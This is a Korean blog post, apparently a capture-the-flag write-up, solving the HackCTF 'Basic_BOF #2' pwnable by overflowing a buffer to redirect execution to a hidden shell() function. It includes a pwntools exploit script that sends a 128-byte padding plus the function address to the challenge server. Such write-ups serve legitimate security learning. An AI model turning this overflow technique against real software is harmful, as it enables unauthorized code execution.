Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- Javascript
- 풀이
- 자료구조 복습
- 생활코딩
- hackctf
- c
- XSS Game
- 백준
- WarGame
- lob
- Python
- siss
- 기계학습
- 머신러닝
- PHP 웹페이지 만들기
- 파이썬
- SWEA
- BOJ
- CSS
- c++
- BOJ Python
- 웹페이지 만들기
- The Loard of BOF
- Sookmyung Information Security Study
- HTML
- hackerrank
- 숙명여자대학교 정보보안동아리
- 드림핵
- C언어
- 숙명여자대학교 정보보안 동아리
Archives
- Today
- Total
혜랑's STORY
[HackCTF] Basic_BOF #2 - pwnable 본문
오늘 해결할 문제는 이 사이트의 Basic_BOF #2 문제이다. 이전에 Basic_BOF #1을 해결한 적이 있는데, 이 문제의 연장 선이라 생각한다.
다운로드를 눌러 파일을 다운받고, chmod를 통해 파일에 실행 권한을 부여해 주었다.
chmod +x bof_basic2
AAAA를 입력하니 다음과 같은 출력 이후에 바로 프로그램이 종료하였다.
checksec을 통해 파일을 살펴보니
32bit 바이너리 파일이고, NX가 걸려 있었다.
IDA로 살펴본 결과
함수 목록과 main 함수를 살펴보니 다음과 같은 함수가 추가적으로 존재하였다.
최종 목표로는 shell() 함수를 실행시키는 것이라 생각하였다.
또한 이때 fgets()를 통해 overflow가 불가능하기 때문에 v5에서 sup() 함수를 실행시키고 이때 overflow를 일으켜 shell() 함수로 이동하여야 한다고 생각하였다.
s의 크기는 IDA에서 알 수 있듯이 0x8c - 0xc 이므로 이 뒤에 shell() 함수의 주소를 전달하면 된다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', '3001')
e = ELF('./bof_basic2')
payload = ''
payload += 'A' * 128
payload += p32(e.symbols['shell'])
r.sendline(payload)
r.interactive()
성공이다!
'2021 SISS 21기 활동 > 여름방학 CTF[연합]' 카테고리의 다른 글
[HackCTF] Great Binary - cryptography (0) | 2021.08.10 |
---|---|
[HackCTF] Basic_FSB - pwnable (0) | 2021.08.10 |
[picoCTF] asm1 - Reverse Engineering (0) | 2021.08.05 |
[picoCTF] crackme.py - Reverse Engineering (0) | 2021.08.05 |
[picoCTF] Stonks - Binary Exploitation (0) | 2021.08.05 |